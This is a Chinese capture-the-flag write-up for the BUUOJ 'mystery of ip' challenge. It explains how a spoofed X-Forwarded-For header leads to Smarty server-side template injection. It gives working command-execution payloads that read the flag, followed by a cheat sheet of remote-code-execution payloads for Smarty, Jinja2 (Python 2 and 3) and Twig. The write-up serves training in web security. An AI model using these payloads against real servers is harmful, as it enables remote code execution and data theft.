项目场景:
链接http://node3.buuoj.cn:29669/index.php
问题描述:
观察页面找到三个链接,点开flag和hint看看,发现flag那个页面窃取了客户端的ip地址,这题的题目是“The mystery of ip”IP的神秘,看来解题是要从这里入手了。
尝试解决:
既然是窃取了IP,考虑是不是XFF或Client-IP这两个header,发现这个IP确实可控,0.0,感觉可以冲了
我想到的第一个就是之前看到的sql注入的http头注入,但是也只是想想罢了,再看看其他方法,试试xss???
我是**,最后想到了ssti模板注入。
解决方案:
做题前可以把模板注入先了解一下。
然后就开始测试是哪一种模板注入
经系列测试知道是smart注入,Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。
解题开始:
输入第一个payload查找目录文件找到flag.php
{{system('ls')}}
或者用if语句
{if system('ls')}{/ls}
能用简单的谁会去用难的呢
再查看这个flag.php的文件就好
payload
{{system('cat /flag')}}
另一种写法我就不写了,自己可以试试
得到flag
结尾总结:
最后说一下,ssti模板注入的语法挺多,就smart注入的语法就完全不止在上面看到的那些,自己有空最好下来看看,我这里也给自己总结了几个。
Smarty模板注入:(我这里做笔记的时候全用的if语句就不改了)
{if phpinfo()}{/if}
{if readfile(‘文件路劲’)}{/if}
{if show_source(‘文件路径’)}{/if}
{if passthru(‘操作命令’)}{/if}
{if system(‘操作命令’)}{/if}
等等等等等等等等。。。。。。......
Jinja2:
Python2:
#(system函数换为popen('').read(),需要导入os模块)
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
#(不需要导入os模块,直接从别的模块调用)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#常用的py2 EXP
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
Python3:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
Twig:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}